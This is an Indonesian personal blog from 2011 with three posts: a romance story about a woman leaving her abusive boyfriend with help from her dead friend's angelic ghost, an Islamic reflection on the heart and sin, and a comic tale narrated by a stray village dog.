Rabu, 02 November 2011

TAKKAN BISA

…semakin ku tenggelam kedalam kisah hidupmu yang kau curahkan padaku…
Vivi mendesah. “Enak yah kamu, mencintai, dicintai lalu mati.”
Bobi melirik. Seulas senyum tergambar di wajahnya.
“Apanya yang enak, kulitku jadi pucet gini!” Bobi menunjuk kulit tubuhnya yang berwarna putih pucat.
“Lah, apa urusannya cinta sama kulit pucet?”
“Lah, tadi yg bilang aku udah mati sapa?”
Pundak Vivi naik, “Lah, kan bener Bob!”
Sedetik kemudian pundaknya turun. Wajahnya berubah.
“Tuh kan, bingung sendiri kan?!” Bobi tertawa kecil. Vivi jadi tengsin.
“Sori Bob…”
“Sori buat apa?”
“Lupain deh.”
“Viiii… Jangan bikin galau deeh!!” Teriak Bobi mendadak. Wajah Vivi berubah aneh. Heran. Akhirnya Bobi tertawa lagi.
“Bob, enak jadi kamu apa jadi aku, mencintai, dicintai, dipukuli trus siap-siap mati?”
Vivi menunduk. Tangan kanannya mengelus-ngelus pergelangan tangan kirinya yang memar. Masih sakit. Tangan pucat Bobi berusaha ‘menyentuh’ tangan Vivi. Tapi tidak bisa.
“Udah, jangan coba-coba. Entar nyesel gak bisa pegang-pegang.” Kata Vivi. Ia tersenyum. Bobi terenyak. Kenyataan itu terlalu jujur.
“Ah kamu Vi, gak bisa romantis dikit!” Bobi langsung manyun dan melipat tangannya.
“Lah, kan aku jujur Bob.”
Bobi langsung berdiri di depan Vivi. Wajahnya mendekat ke wajah Vivi.
“Kamu pernah denger gak Vi, jujur itu hancur! Puas?!”
Vivi langsung tertawa terbahak-bahak. Bobi makin manyun.
***
“Bob, enak gak jadi setan?”
Bobi langsung menoleh dengan cepat. Tatapannya ekstra tajam.
“Maksudnya?! Aku bukan setan! Aku angel! Malaikat!” Bobi mengeja kata ‘malaikat’ dengan penuh penekanan.
Alis Vivi naik sebelah, “Idiiih, sok imut banget kamu?! Abis mati, hidup lagi, bukannya itu namanya setan, yah?!” kata Vivi dengan polos. Bobi meradang.
“Mulutmu tuh, yang setan! Aku perkecualian! Aku diutus jadi malaikat. Bukan jadi dedemit!” kata Bobi dengan berapi-api
“Hallah, buat aku sama aja. Yang penting rasanya, beda gak, jadi setan…eh, salah, jadi malaikat dibanding jadi manusia.”
Mata Bobi melirik keatas, seperti berpikir. “Hm…sama-sama gak enak sih. Aku ngidam es krim itu sejak mati, loh!”
Bobi menunjuk es krim yang dipegang Vivi. Vivi menatap es krimnya lalu memperhatikan wajah Bobi dengan seksama.
“Kamu mau? Nih!” Vivi menyerahkan es krim ditangannya. Bobi melirik tajam lagi.
“Ngejek nih ceritanya?!”
Wajah Vivi berubah bingung. “Maksudmu??”
“Pegang tangan kamu aja, aku gak bisa, gimana caraku makan es krim?! Payah ih!” ujar Bobi seraya memanyunkan bibirnya kembali.
“Ooh, iya yah… Sori deh Bob…”
Vivi menunduk dan menjilat es krimnya kembali. Dalam hati, Vivi ingin tertawa. Tapi sepertinya diam lebih baik daripada membuat Bobi makin manyun.
“Bentar deh Vi, dari kemarin kamu gak nyambung-nyambung kalo ngomong. Pacarmu pernah mukul kepalamu juga, ya?” Tanya Bobi seraya memperhatikan kepala Vivi dari depan ke belakang.
“Hmmm… Kayaknya gak deh, Bob. Paling-paling dia nampar doang.”
“Bentar, kamu hadap ke sana,” Bobi menyuruh Vivi menoleh ke arah berlawanan dengan wajahnya. Vivi menurut saja tanpa pikiran apapun. “Tuh kan, bekasnya aja belum ilang. Kamu lupa pake obat?”
Vivi terkejut. Bobi masih mengingat kebiasaan Vivi setiap habis dipukuli kekasihnya, Devan, memakai obat penghilang bekas luka. Padahal mengingat es krim kesukaan Bobi saja Vivi tak pernah.
“Inget aja, Bob. Biarin deh, sapa tau dengan gini dia jadi sadar.” Jawab Vivi sambil mengelus pipinya sendiri.
“Sadar apa, sadar untuk nambah bekas luka kamu lagi? Vi, kamu tuh cantik. Dibilang bego, aku sih gak tega, tapi kamu punya istilah lain gak selain itu, untuk gambarin betapa kamu masih punya banyak kesempatan hidup yg lebih indah sama orang lain daripada sama Devan yang kerjaannya melas-melas minta dibolehin mukulin kamu tiap hari?!”
Vivi menunduk. “Tapi aku sayang sama dia, Bob…”
Hati Vivi terasa sakit mengingat perlakuan Devan. Tapi tidak lebih sakit daripada kenyataan yang baru saja dijabarkan Bobi.
“Sayang? Kamu gila Vi!” kata-kata Bobi meluncur tegas. Menegaskan kenyataan. Menusuk hati Vivi. Air mata Vivi menetes. Hangat namun begitu jujur. Lebih jujur dari kata-katanya.
***
Memang mereka berbeda. Sudah berbeda. Tidak seperti dulu. Saat Bobi masih ada disampingnya. Sebagai manusia. Bukan setan, demit atau istilah ‘malaikat’ seperti yang selalu diagung-agungkan Bobi sendiri. Vivi hanya sedang berusaha menyadari itu.
…dia yang kau pilih, tak seperti yang kau ingin dan membuatmu terluka…
Lagu itu mengalun indah dibalik tubuh Vivi. Vivi terdiam sejenak. Tangannya yang tadi sibuk mengaduk kopi tiba-tiba berhenti. Matanya melirik sebuah CD player yang memutar lagu itu di balik tubuhnya. Sedetik kemudian Vivi kembali ke posisinya. Dengan wajah sendu. Dan rindu.
“Sayang…”
Suara Devan memanggil Vivi. Manis sekali.
“Iya…” Vivi hanya menjawab sekenanya. Pikirannya sedang melayang entah kemana.
“Sayang, kopinya udah?”
Devan muncul didepannya. Sangat tampan. Terkadang Vivi bersyukur mendapat kekasih setampan Devan. Namun tidak dengan sikapnya.
 “Udah.” Vivi menyerahkan kopi buatannya ke Devan. Devan menyesapnya sedikit. Wajahnya seketika berubah.
“Kenapa?” mendadak Vivi gelisah. Ini bukan gelagat baik.
“Kamu pake kopi apa?”
Vivi menunjuk sebuah toples biru di bawah lemari gelas, “Kopi yang itu.”
Tiba-tiba Devan mendekat, menatap Vivi lekat-lekat, tanpa memperhatikan toples yang ditunjuk Vivi.
“Kok kamu nyamain aku sama pembantu sih??” kata Devan sambil mengelus pipi Vivi dengan lembut. Sebelah tangannya yang lain menumpahkan kopi panas itu ke kaki Vivi. Vivi langsung terjatuh dan berteriak kesakitan.
“Enak gak? Kalo gak enak, berarti rasanya sama seperti kopi buatanmu ini…”
Devan pergi setelah membanting cangkir kopi di depan Vivi. Hancur. Seperti hati Vivi. Vivi hanya bisa menangis. Dalam hati, ia bertanya, sampai kapan ia bertahan?
***
“Sampai kapan kamu bertahan, Vi?”
Pertanyaan yang sama dengan pertanyaan hati Vivi. Bobi mendesah sendiri dari balik jendela. Sedari tadi ia sudah berdiri disana memperhatikan Vivi dan melihat dengan jelas perlakuan Devan terhadap Vivi. Sebenarnya Bobi ingin berlari, menolong Vivi dan memukul Devan. Kalau bisa mencoret muka Devan dengan pecahan cangkir dan menyiram sisa air panas ke wajah Devan saat itu juga. Kalau bisa juga, ia ingin mengubur Devan hidup-hidup dalam makamnya sendiri dan menghabisinya di dalam makam serta membantainya habis-habisan dengan nisan kuburannya sendiri. Sadis. Namun Bobi tidak bisa. Lebih tepatnya tidak tega membiarkan Vivi kembali menangis.
***
Sore ini kelabu. Mendung menutupi sebagian kisah sore dengan warnanya yang kelam. Vivi menatap langit abu-abu dari jendela kamarnya dengan pikiran yang melayang-layang. Ia merindukan Bobi. Ia merindukan kasih sayang Bobi.  Ia mulai mengingat semua detil kehidupan Bobi di dalam kehidupannya. Mulai dari pertemuannya dengan Bobi, hingga saat pertama ia bertemu Bobi dengan kehidupannya yang berbeda.
“Hei…”
Suara itu amat sangat dikenal Vivi. Bobi.
“Hei…”
“Ngelamun, neng?” Tanya Bobi, lalu duduk di atas tempat tidur Vivi.
“Gak…” Vivi membalik badan, membelakangi jendela, menutupi jalan sebagian cahaya yang ingin masuk ke dalam kamarnya. “Gak tau, tiba-tiba aku inget kamu.”
Bobi tersipu sejenak. “Hallah, kalo gini, kangeeenn... Kemaren-kemaren kemana, cantik?”
“Ke salon. Meni pedi, buang sial. Hahaha…” Vivi tertawa. Bobi tersenyum.
“Hahaha, mana ade neng, buang sial di salon. Yang ada buang duit. Hahaha, buang sial itu ke laut, sono…” kata Bobi, menunjuk sebuah arah. Entah menunjuk laut atau tidak.
“Oh, iya ya…” kata Vivi sambil garuk-garuk kepala. “Apa aku perlu ke laut beneran yah, buat buang sial?”
Bobi langsung tertawa terbahak-bahak mendengar perkataan Vivi yang terihat sangat polos. “Percaya aja sama mitos itu! Putusin Devan, itu cara buang sial yang paling tepat, manjur dan teruji!”
Bobi kembali tertawa terbahak-bahak. Vivi langsung menunduk. Tiba-tiba setetes air matanya jatuh.
“Laah, kok jadi nangis?! Aduh, aku salah ngomong ya?” Bobi langsung berdiri mendekati Vivi.
“Gak Bob, kamu bener. Aku yang salah. Kenapa dulu aku mau aja sama dia?” Vivi menghapus air matanya. Sendiri. Bobi hanya bisa melihatnya dengan kelu. “aku beneran bego yah, Bob?”
Pertanyaan itu mengingatkan Bobi akan perkataannya pada Vivi dahulu. Bobi bingung. Ia hanya bisa mengigit bibir, mengacak-acak rambutnya sendiri dan mengalihkan matanya ke cahaya luar jendela. Diantara gerakan itu, ada anggukan samar yang tak bisa ia tahan. Vivi seperti tahu isyarat itu. Ia menarik nafas dalam-dalam lalu menjatuhkan tubuhnya ke atas tempat tidur. Air matanya jatuh berhamburan di atas bantal.
“Vi…sori…” Bobi duduk disamping Vivi yang menangis. Bobi ingin mengelus punggung Vivi untuk menenangkannya. Namun, tak bisa...
“Bilang Bob, sekarang aku harus ngapain!” teriak Vivi dari balik bantalnya. Air matanya terus mengucur deras. “percuma kamu bilang sori, tapi kenyataannya aku emang bego! Bilang Bob, aku harus ngapain supaya semua ini berakhir! Aku udah capek Bob, udah capek jadi orang bego terus gini!”
Suara Vivi bergetar, bercampur dengan air mata yang mengucur deras dari matanya. Bobi terenyak mendengar teriakan Vivi. baru kali ini Vivi berteriak di hadapannya, apalagi dengan air mata.
“A… Aku gak tau…”
Jawaban Bobi kontan membuat Vivi makin meradang.
“Kamu gak mungkin gak tau! Kamu bilang, kamu utusan Tuhan. Kamu diutus Tuhan untuk aku, kan? Kamu pasti tahu aku harus gimana! Bilang Bob, bilang!” Vivi meraung-raung seperti kesetanan. Hatinya hancur sekarang.
Bobi masih diam. Ia bingung sendiri. Apa yang harus ia lakukan untuk menenangkan gadis ini. Gadis yang dari dulu hingga sekarang masih ia cintai. Namun tidak pernah bisa ia dapatkan sejak dulu hingga sekarang.
Tiba-tiba Vivi bangun dan menatap Bobi dengan tajam tepat didepan wajah Bobi “atau kamu emang mau ikut bikin aku tambah bego?! Itu yang kamu pingin Bob?! Kamu pingin balas dendam sama aku?”
Bobi terkejut dengan ucapan Vivi. bukan ini yang ia inginkan. Ia hanya ingin menjadi pelindung Vivi.
“Gak Vi, kamu salah paham…” kata Bobi dengan perasaan bercampur aduk.
“Salah paham gimana, heh?” Vivi makin mendekatkan wajahnya ke wajah Bobi. Nafasnya yang memburu, berbau air mata dan kesakitan hati yang tak tergambar, terasa menerpa wajah Bobi. Bobi mundur sedikit. Gerakan refleks itu ia lakukan tanpa sadar sebenarnya itu tak berguna karena Bobi tak dapat disentuh.
“Bukan gitu maksud aku, Vi…” kata Bobi, kemudian menundukkan wajahnya. Vivi melemah. Ia menjatuhkan badannya perlahan. Air matanya terus mengalir, menemani penyesalan yang merasap dalam batinnya.
“Salah apa aku, Bob? Apa bener aku yang bunuh kamu Bob?”
Pertanyaan ini sudah lama ditahan Vivi. apakah ia pembunuh Bobi, hingga karmanya, ia harus menikmati penderitaan dari Devan seperti ini. Bobi masih diam dalam bingung, bagaimana menenangkan Vivi dan mencari jawaban pertanyaan Vivi yang dianggapnya sebagai buah simalakama.
“Vi…”
Akhirnya itu yang dapat Bobi keluarkan. Tepat sesaat setelah Vivi menutup mata. Matanya sudah berat untuk membuka karena air mata di kelopaknya. Vivi sudah letih. Entah dibagian mana.
***
…mengapa kau kini inginkan ku lagi…
“Sayang, maafin aku…”
Suara Devan terdengar sangat sendu dibalik sambungan telepon. Vivi membuang muka. Sedari tadi ia menatap foto mereka berdua yang diambil 3 tahun lalu–saat Devan masih semanis buah apel. Saat ini, rasanya, entah apa. Seperti diantara sakit, bimbang dan merindu. Ya, Vivi masih merindukan Devan. Jelas Devan yang dulu. Yang masih rela membuka kemejanya dan menutupi kedua kepala mereka dari guyuran air hujan saat pertama mereka berkencan. Vivi jadi berfikir, terkadang hujan memang membawa berkah. Namun apakah saat itu hujan adalah pertanda, atau gampangnya, bentuk lain dari air matanya? Vivi termangu.
“Sayang…plis…”
Suara itu muncul lagi. Vivi tersadar dari lamunannya. Disaat satu tangannya memegang gagang telepon, satu tangannya yang lain memijat pelipisnya. Vivi kalut.
“Kita ketemu di tempat pertama kita ketemu. Entah kamu ingat apa tidak, aku tunggu jam 3 sore ini.”
Klik.
Vivi menutup teleponnya tanpa menunggu respon. Matanya memandang mendung kelabu diluar rumah dengan nanar. Ia hanya berharap, hujan kali ini adalah berkah untuknya.
***
Taman ini sepi. Mungkin karena hujan yang mulai turun rintik-rintik. Vivi tidak peduli. Sudah lima belas menit ia duduk mematung dikursi taman berwarna putih berkarat dengan tangan memegang sebuah payung kecil yang terbuka diatasnya. Menunggu Devan.
“Maaf, aku telat…”
Nafas Devan memburu. Apa ia berlari? Berlari untuknya? Pertanyaan dari lubuk hati Vivi. Namun urung ia utarakan. Percuma.
“Baru…” Devan melirik jam tangan hitamnya. “Lima belas menit, kan?” katanya kemudian duduk disamping Vivi.
“Ya.” Jawab Vivi, singkat.
Mendadak suasana menyepi. Devan diam. Vivi diam. Mereka diam satu menit. Menit berikutnya, giliran Vivi angkat bicara.
“Van…” katanya, “Apa hubungan kita akan terus seperti ini?” tanyanya. Wajah Devan yang sejak tadi menunduk, tiba-tiba sedikit terangkat dan tersenyum kecil. Entah dari mana asalnya senyum itu, namun tiba-tiba ia bersimpuh di kaki Vivi, lalu memegang tangan Vivi yang dingin karena air hujan. Dan kalut.
“Gak…hubungan kita gak boleh kayak gini terus.” Kata Devan, “Gak mungkin kayak gini terus,Vi…”
Vivi diam saja. Separuh hatinya diam, seperti sudah terbiasa dengan perkataan Devan yang ini namun sebelah hatinya yang lain bergejolak. Ada sebuah firasat.
“Sebenernya, udah lama aku mau ngomong ini sama kamu.” Tiba-tiba tangan Devan merogoh kantung jaketnya dan mengeluarkan sebuah kotak kecil berwarna merah. “Will you marry me?”
Jantung Vivi runtuh seketika. Ingin rasanya ia pingsan saat itu juga. Kesadaran mengajaknya melayang-layang.
“Ba…barusan kamu ngomong apa, Van?” Vivi jadi terbata. Vivi masih terkesiap.
Devan tersenyum. “Maukah kamu jadi istriku?”
***
“Bob…”
Vivi duduk bersimpuh di makam itu. Makam yang sudah luntur. Mungkin karena hujan musim ini begitu bersemangat. Atau mungkin juga karena usianya sudah lama. 3 tahun.
“Maafin aku…”
Mata bulat indah itu memejam. Setetes air mengalir dari selanya. Segera Vivi menghapusnya. Lalu sebuah senyum tergambar diwajahnya. Vivi mengelus nisan itu, lalu menciumnya. Saat tubuhnya berdiri dan berbalik, sosok Bobi berdiri dibelakangnya.
“Tadi gimana hasilnya?”
Mereka duduk di sebuah bangku di sebuah kursi di dekat makam Bobi. Entah mengapa tadi Bobi tidak sanggup melihat Devan dan Vivi bersama di bangku taman. Padahal harusnya ia selalu berada disamping Vivi, meskipun ia bersama Devan.
Vivi langsung mengangkat wajahnya yang penuh tanda tanya. “hasil apa?”
“Konferensi kursi taman. Hehe…” Bobi nyengir sendiri. Ia berusaha tertawa untuk menutupi kegelisahannya.
“Oh…” Vivi menunduk. Sejenak diam menyelimuti waktu. Kemudian, setetes air mata jatuh lagi dari pelupuk mata Vivi. Bobi terkejut.
“Lho, kok malah nangis?”
Segera Bobi mendekat pada Vivi. hampir saja ia mengulurkan tangannya untuk menghapus air mata Vivi. Namun segera ia batalkan. Lupa.
“Sori Bob, aku masih bingung.” Jawab Vivi sambil menyeka air matanya.
“Bingung kenapa?” Tanya Bobi
“Bingung, apa yang aku lakukan tadi benar atau gak. Aku takut salah langkah lagi.”
Vivi mendesah. Rasanya ia tercekat. Jantung Bobi ikut berdetak keras. Ia pun kalut.
“Hmm…aku rasa kamu gak akan salah langkah lagi. Kamu udah dewasa, Vi…”
Vivi mengangguk pelan, “Ya, mungkin.”
Mereka terdiam agak lama. Tiba-tiba Bobi ingat pertanyaan awalnya pada Vivi, tentang keputusannya
“Terus, hasilnya apa?” Tanya Bobi. Dalam hatinya, Bobi amat sangat kalut dan takut, kalau-kalau Vivi kembali menyakitinya hari ini.
“Aku… Aku putusin dia.”
Bobi terenyak, “Putusin?!”
“Ya, aku putuskan untuk menolak lamaran dia. Aku gak salah lagi, kan, Bob?” kata Vivi. wajahnya sendu, namun gurat bahagia tersirat di wajahnya yang ayu.
Bobi terdiam. Seperti ada perasaan lega yang bercampur bahagia. Rasanya ia ingin memeluk Vivi, namun ia sadar, ia takkan bisa lagi memeluk gadis cantiknya ini. Akhirnya, kebahagiaannya menggerakkan ujung bibirnya ke atas.
“Oh ya?” kata Bobi, singkat. Kebahagiaan ternyata juga mampu mengunci bibirnya.
Mereka jadi terdiam cukup lama. Terbawa perasaannya masing-masing. Sibuk bercanda dengan hatinya masing-masing.
“Bob…”
Suara Vivi memecah keheningan diantara mereka berdua. Bobi langsung menoleh. Wajah Bobi terlihat masih sangat gembira
“Ya?” jawab Bobi. Bobi terlihat sangat tertarik dengan kata-kata yang akan keluar dari mulut Vivi. Vivi jadi tersipu malu.
“Sampai kapan kamu disini?”
Pertanyaan Vivi membuat Bobi terkejut. Bobi menjadi ingat tugas yang ia emban dari Tuhan. Bobi terdiam dengan pikiran melayang-layang.
“Kok, kaget? Kok, diem?” Tanya Vivi lagi. Ada perasaan khawatir yang tiba-tiba menyelimuti hatinya. Bobi menelan ludah dengan sangat kentara.
“Tadi kamu tanya apa, Vi?”
“Ya ampun, kamu disini sampai kapan, Bobi?” ulang Vivi. wajahnya terlihat geregetan.
“Disini, dimana?”
“Ya disini, Bob, di bumi. Kamu disini selamanya, atau…” ucapan Vivi berhenti pada ketidakinginannya kehilangan Bobi untuk kedua kalinya. Bobi terdiam dan menunduk.
“Gak mungkin, Vi. Aku gak mungkin disini selamanya.”
Jawaban Bobi terasa menghempaskan hati Vivi ke lantai. Vivi terenyak.
“Bukan disini tempatku. Aku hanya bertug…” belum sempat Bobi menyelesaikan ucapannya, tangis Vivi kembali tumpah.
“Kamu mau ninggalin aku lagi, Bob?” Tanya Vivi dengan uraian air mata.
“Maaf Vi, emang itu jalannya.” Jawab Bobi. Kepalanya tetap menunduk. Sangat sulit untuknya mengatakan hal itu pada Vivi. Tugasnya hanya itu, menjaga Vivi hingga benar-benar lepas dari Devan. Tugas yang benar-benar ia minta kepada Tuhan. Dan yang tak Vivi ketahui, bahwa Bobi harus kembali saat Vivi sudah melepaskan Devan. Siap atau tidak.
“Tuhan gak adil, Bob!!”
Vivi berteriak. Memecah diamnya sore yang sangat indah dengan mega menggantung diujung barat. Bobi terkesiap.
“Kamu jangan sekali-kali nyalahin Tuhan, Vi!” Bobi langsung berdiri dengan emosi. “Lihat dirimu dulu, apa selama ini kamu udah bener?”
Vivi makin terisak. Satu sisi ia menyadari kesalahannya. Tapi sisi lainnya, ego memaksanya berkata, ia tak mau sendiri.
“Selama ini Tuhan udah baik sama kamu. Bahkan ia mau mengirimku lagi untuk menjagamu!”
Hati Vivi mencelos, “Lalu kenapa sekarang Tuhan mau ambil kamu lagi?”
“Apa kamu merasa kehilangan?”
Pertanyaan itu terasa menampar hati Vivi. Suara lirih Bobi seakan menusuk relung hatinya yang terdalam. Vivi tertohok saat pertanyaan yang sama muncul di hatinya, benarkah ini cinta, atau hanya sekedar kebutuhan?
“Ya.” Jawab Vivi dengan tercekat.
“Sama Vi. Aku juga kehilangan kamu saat kamu memilih Devan, dulu.” Nafas panjangnya menghela. “Kenapa kamu pilih Devan, Vi, padahal kamu tahu hatimu memilih aku. Apa alasanmu, Vi?”
Seketika lutut Vivi melemas. Rahasia yang ia simpan bertahun-tahun mendadak terbongkar seperti letupan angin panas gunung api. Vivi hanya bisa menunduk pasrah.
“Aku… Aku hanya tahu…, Monik…mencintaimu…lebih dari aku….”
Vivi terbata-bata saat mengutarakan hal itu. Namun dalam hatinya sendiri, ia tidak pernah yakin apakah cintanya tidak lebih dari cinta Monik, sahabatnya dan sahabat Bobi saat SMA itu.
“Kamu tahu, Vi, setelah aku tahu kamu mencintaiku, aku pergi meninggalkan Monik sendirian di taman saat itu juga! Kamu tahu, aku juga tidak peduli dengan air mata monik yang mengucur deras setelah keceplosan menceritakan perasaan hatimu yang sebenarnya padaku! Kamu tahu, bahkan aku juga benar-benar tidak peduli saat Monik berusaha menahanku agar tidak menemuimu padahal ia sangat takut Devan akan membunuhku. Dan kamu harus tahu Vi, penyesalanku yang terdalam bukan karena mengabaikan perasaan Monik, namun karena tidak bisa menemuimu saat itu! Aku mati Vi, aku mati!”
Bobi menghempaskan tubuhnya ke kursi taman. Nafasnya habis, terengah-engah ia menahan emosinya. Mendengar itu, hati Vivi seperti terhempas dari atas gedung tinggi namun tidak ada yang berusaha menyelamatkannya. Hatinya benar-benar hancur seperti tidak berbentuk lagi. Vivi menjadi semakin syok dan hancur saat berhasil merangkai semua kejadian yang merenggut nyawa Bobi pada 3 tahun yang lalu, sebuah kecelakaan yang terjadi karena Bobi mengendarai mobilnya dengan kecepatan diatas rata-rata yang kemudian selip karena Bobi ingin menyalip sebuah truk hingga akhirnya menabrak truk lain yang berada di depan dan di samping mobilnya. Hati Vivi makin ngilu mengingat tubuh Bobi yang terjepit pintu mobil yang penyok dan tidak dapat diselamatkan karena keterlambatan penanganan. Semua itu terjadi hanya karena Bobi ingin mengejarnya dan menyelamatkannya dari Devan yang ternyata menyakitinya sekarang. Vivi benar-benar hancur sekarang.
“Jangan menangisi semuanya, Vi, sudah terlambat.”
Kata-kata Bobi kembali menusuk hati Vivi yang sudah hancur. Kata ‘terlambat’ terasa menjawab semua permasalahan yang terjadi saat ini. Rasanya Vivi ingin mati saat ini.
“Aku cinta kamu, Bob…”
Akhirnya hanya itu yang mampu Vivi utarakan. Terasa amat sangat terlambat, namun mampu menahan nafas Bobi. Dan seketika….sebuah sayap putih besar keluar dari punggungnya dengan tiba-tiba. Vivi terkejut sekali. Selama ia bersama Bobi, sayap itu tidak pernah keluar bahkan Vivi tak pernah tahu bagaimana sayap itu bisa keluar.
“Vi…aku harus pergi.”
Bobi pindah ke depan Vivi, berjongkok dan menatap Vivi–yang masih menangis–lekat-lekat. Meratapi perpisahan abadi yang harus mereka jalani. Vivi yang belum sempat menyelesaikan keterkejutannya akan kehadiran sayap itu, makin terkejut dengan perkataan Bobi. Perkataan yang sedari awal pasti keluar, namun tak pernah ingin disadari oleh keduanya.
“Jaga dirimu baik-baik.”
Bobi berdiri. Perlahan tubuhnya mundur, menjauhi Vivi. Spontan Vivi menahan tangannya. Secara mengejutkan, tangan itu tersentuh. Terasa sangat hangat dan dirindukan. Mereka berdua benar-benar terkejut. Mereka berdua benar-benar tahu, hal itu tidak pernah terjadi dalam kehidupan mereka sekarang, meskipun mereka amat sangat merindu. Dalam keterkejutannya, Bobi langsung menarik Vivi dan memeluknya erat-erat. Pelukan yang amat mereka rindukan, setelah sekian tahun dan sekian kisah yang mereka alami.
“Maafin aku, Bob…” kata Vivi. Seiring bisikannya yang lirih, perlahan tubuh Bobi menghilang seperti angin. Bau tubuh Bobi menguar di sekeliling tubuh Vivi. Sejuk dan hangat.
***
Tak kan bisa… Tak kan bisa… Aku disisimu sebagai kekasihmu…
Jangan pernah… Jangan pernah… Kau mengharap lebih untuk dapatkanku lagi…

Sabtu, 29 Oktober 2011

SEBUAH PRESEPSI DAN ASUMSI

Semua orang hidup dgn asumsi dn persepsinya masing-masing.Menganggap bahwa dirinyalah yang paling benar dan paling baik. Entah dalam tatanan masyarakat ataupun berkeTuhanan.
Begitu pula dengan diriku. Aku hidup juga dengan asumsi dan persepsiku. Walupun kadang sering merasa, tapi aku selalu mencoba untuk menekan rasa dan perasaan bahwa dirikulah yang paling baik dn paling benar terhadap orang2 disekitarku. Aku mencoba untuk tidak terlalu ujub (membanggakan diri), karena itu merupakan salah satu penyakit hati yang juga dapat melukai hati orang lain.
Al- Qur’an dan As Sunnah, adalah dua warisan yang ditinggalkan oleh Rasulullah setelah beliau wafat. Yang barangsiapa hanya berpegang teguh kepada keduanya, maka kebahagiaan yang kekallah yang akan ia dapatkan. Dua wasiat yang jauh lebih dari cukup yang membahas tentang semua hal dalam hidup ini. Mulai dari tauhid, keimanan, ketakwaan, kebiasaan sehari-hari, dari bangun tidur sampai tidur lagi. Tentang ilmu pengetahuan, alam, sosial, teknologi, psikologi. Hubungan horisontal dengan masyarkat,hingga vertikal dengan tuhannya. Tentang adab, perilaku, sopan santun, twadhu’, zuhud, amar ma’ruf nahi munkar, maksiat, halal&haram. Tentang jihad, dakwah, ibadah, dn juga tentang kabar-kabar adzab, rahmat, ampunan, surga dan neraka. Dan yang terakhir tentang hati.
Inilah asumsi dan persepsiku sendiri tentang diriku. Yang mana bahwa diriku hanyalah sebuah hati yangdidalamnya terdapat akal, nurani, dan hawa nafsu, yang dimasukkan kedalam suatu wadah yang dinamakan Tubuh beserta perangkatnya.Lalu diturunkanlah aku kedunia untuk menjalani qadha dan qadarNya.
Aumsi ini aku ambil dari sabda Rasulullah ;
“…Bahwa bila ia baik, maka baiklah seluruhnya. Tapi bila ia buruk, maka buruklah seluruhnya. Ketahuilah bahwa itu adalah hati. ”  (HR. Muslim)
Banyak sekali lumpur dan kotoran yang melekat pada hatiku. Setiap kali aku mencoba membersihkannya dengan cahaya Al Qur’an dan as sunnah, selalu saja setan datang menggoda. Membujuk penuh rayu untuk mengotorinya lagi dengan lumpur hitam yang jauh lebih busuk dan menyengat. Azab berbalut kenikmatan selalu datang  menggoda silih berganti. Seperti kata seorang penyair ;
” Kubuka jendela pagi, dan dosa pun menghampiri. Bersama berjuta wajah kuarungi mimpi hari. Halalkan segala cara untuk hidup ini. Suara jerit hati kuingkari. Nafsu jiwa yang membuncah menutupi mata hati. Seperti terlupa bahwa nafas kan terhenti.. ” (Opick)
Atghfirullah..
Ya Allah, aku mohon ampun atas dosa yang selama ini aku perbuat. Entah sadar atau tidak. Baik yang nampak maupun samar,  baik yang kecil maupun yang besar. Dosa itu semakin hari semakin menggunung. Mampukah aku menanggungnya, mampukah aku membawanya, mampukah aku memikulya kelak di hari pengadilanMu Yang Maha Adil, bila masa itu telah tiba? Mampukah aku?!!
Innaalillah..  Ihdinas shiraththal mustaqim Ya Rabb ..,

Rabu, 26 Oktober 2011

KISAH NASIB SI ANJING KAMPUNG

AKU LAHIR bersama dua orang saudaraku. Lahir di semak-semak dekat jalan raya. Kami semua jantan berbulu hitam. Waktu masih kecil, yang kami kenal cuma mama. Menyusui dari mama. Berlindung pada mama. Menjadi buntut kedua, ketiga, dan keempat bagi mama. Sampai pada akhirnya, mama ditangkap oleh manusia. Mama menyuruh kami bersembunyi. Kami menurut saja, tetapi semenjak itu mama tidak pernah kembali.
“Ia sudah disajikan di atas piring. Menjadi RW.”
Banyak anjing yang sudah mengatakan hal yang sama. Seputar daging di atas piring. Seputar RW. Aku masih tidak dapat membayangkannya. Apakah itu berarti mama sudah mati? Mama menjadi makanan manusia?
“Anak-anak bodoh, suatu hari nanti kalian akan tahu.”
Pertanyaan-pertanyaan mengenai mama sudah lama tidak menyinggahiku yang kini hidup sendirian di trotoar. Mungkin tidak akan pernah lagi, lagipula buat apa? Toh, aku sudah lupa dengan wajah mama. Yang penting saat ini adalah, aku bisa makan dan minum—mengorek tempat sampah di kompleks-kompleks perumahan atau memungut tulang-tulang ayam yang tidak sengaja terbuang ke lantai warung. Kadang berebut dengan anjing lain, berkelahi hingga salah satu dari kami babak belur. Terluka. Atau pada akhirnya ditendang oleh manusia. Hidup itu keras!
Kakak pertamaku sudah mati, karena dipatuk ular berbisa di sawah. Aku sempat mengunjungi mayatnya. Banyak belatung. Belatung yang kucicipi sedikit. Hmm… renyah. Walaupun tercium jelas bau busuk yang menggerayang. Tidak apa-apa lah!

Kakak keduaku sempat (berniat) datang menjenguk. Tetapi waktu itu—waktu dia menyeberang jalan—hanya tinggal beberapa langkah jaraknya dariku—sebuah truk meluncur, melindasnya dan CROOOT! Hancurlah separuh badannya. Isi perutnya terburai. Nafasnya masih kudengar sedikit, tetapi ia sudah tidak sanggup menggonggong. Aku hanya bisa meraung-raung mengitari tubuhnya. Beberapa manusia terdengar berceloteh ricuh, di antaranya terdengar suara perempuan menjerit. Merasa jijik dengan kakakku yang sebentar lagi akan menjadi mayat.
“Dasar anjing, nggak punya otak!”
“Najis banget sih tuh anjing! Iiih, jijik aku!”
“Apa nggak ada yang bisa bersihin mayatnya dari jalanan?!”
“Oooh, Fuck the dog off!”
“Udah tau ada truk, ngapain nyebrang? Ayam aja ngerti!”

Yah, beginilah hidup menjadi anjing kampung. Serba rawan. Juga tidak ada yang peduli. Seakan semua tuli.
Malangnya nasib anjing kampung.
Guk! Guk! Guk!
***

Aku melintasi sebuah kompleks perumahan kecil. Para manusia—mungkin warga sekitar—kelihatan sedang asyik bermain bola, sementara aku mengorek sampah dari satu rumah ke rumah lainnya.
“GRRR!” seekor rottweiler tiba-tiba menghantam perutku dengan kepalanya yang bulat. “Siapa suruh kamu makan di sini?! Anjing jelek!”

Huh, lagaknya seperti anjing terhebat saja! Dasar anjing ras, hidup enak, sok jago lagi! Paling-paling badan gede cuma gara-gara dogfud!
“Grrr! Terserah aku mau makan di mana! Nantang berantem kamu ya?”
“Grrr, jelas-jelas kamu yang nantang! Anjing Kampung!”
Nafasku dan nafasnya menderu seperti knalpot motor butut.
“MATI LU ANJING BEGO!”
